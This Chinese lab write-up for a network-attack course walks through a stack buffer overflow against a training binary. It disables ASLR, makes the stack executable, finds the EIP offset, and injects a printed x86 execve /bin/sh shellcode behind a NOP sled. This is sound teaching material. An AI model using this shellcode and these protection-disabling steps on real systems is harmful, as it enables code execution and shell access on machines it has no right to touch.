《网络对抗》 逆向及Bof进阶实践
实践目标
- 注入一个自己制作的shellcode并运行这段shellcode;
实践步骤
准备工作
root@5224:~# apt-get install execstake //安装execstake
...
root@5224:~# execstack -s pwn1 //设置堆栈可执行
root@5224:~# execstack -q pwn1 //查询文件的堆栈是否可执行
X pwn1
root@5224:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
root@5224:~# more /proc/sys/kernel/randomize_va_space
0 //"0"表示地址随机化已关闭
确定EIP的位置
- 初步寻找
可以看到eip被“3”覆盖了,但具体是哪个“3”的位置呢,我们再精确定位; - 精确定位
可以看到,eip是在“3456”的位置。
确定返回地址
- 构造字符串
最后的x4x3x2x1将覆盖到堆栈上的返回地址的位置;为了能顺利的进行调试,字符串不要以“x0a”结束; - 查找eip地址
可以看到eip的地址为“0xffffd34c”,由于一会我们会将Shellcode加入到这字符串的后面,所以返回地址为eip地址加上4,即“0xffffd350”。
注入Shellcode
在网上找到如下Shellcodex31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80
;
获取更多Shellcode点这里
-
构造攻击字符串
将上面的字符串最后的“x4x3x2x1”改为“x50xd3xffxff”,并在后面粘上Shellcode。我还在Shellcode前加入了一段“着陆区/滑行区”,增加了返回地址计算的容错力。
-
注入Shellcode